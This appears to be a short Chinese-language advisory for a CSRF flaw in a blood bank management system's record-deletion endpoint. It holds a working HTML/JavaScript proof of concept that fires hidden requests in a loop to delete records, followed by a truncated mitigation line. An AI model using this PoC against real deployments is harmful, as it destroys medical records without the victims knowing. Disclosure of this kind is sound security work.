/file/delete.php?bid=在 BloodBank 管理系统的血液请求功能中发现了一个跨站请求伪造 (CSRF) 漏洞。当向路径 /file/delete.php?bid= 发送 delete 请求时,该缺陷允许 bid 参数选择要删除的记录。然而,bids 是动态的,取决于添加的血液样本数量,因此为了使请求成功,我在循环中使用了 JavaScript 生成的图像标签。
成功利用可导致在受害者不知情的情况下执行未经授权的操作,例如删除数据。此外,访问包含恶意负载的网站也可能触发此漏洞。
以下是CSRF POC 攻击的示例,该攻击通过 bid 参数删除“可用血液样本”,将文件托管在攻击者控制的域上(本例中我使用的是 localhost):
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC</title>
</head>
<body>
<h2>CSRF Proof of Concept for Deleting Blood Bank Records</h2>
<script>
// Define the target URL where the Blood Bank System is hosted
const targetUrl = "http://localhost/bloodbank/file/delete.php";
// Loop through possible bid values (0 to 20) can be increased to as much as possible :)
for (let bid = 0; bid <= 20; bid++) {
// Create an image element for each bid value to send the GET request
let img = document.createElement("img");
img.src = `${targetUrl}?bid=${bid}`;
img.style.display = "none"; // Hide the image from view
document.body.appendChild(img);
}
</script>
</body>
</html>
csrf 令牌,同时避免使用 GET 请求执行状态更改操作。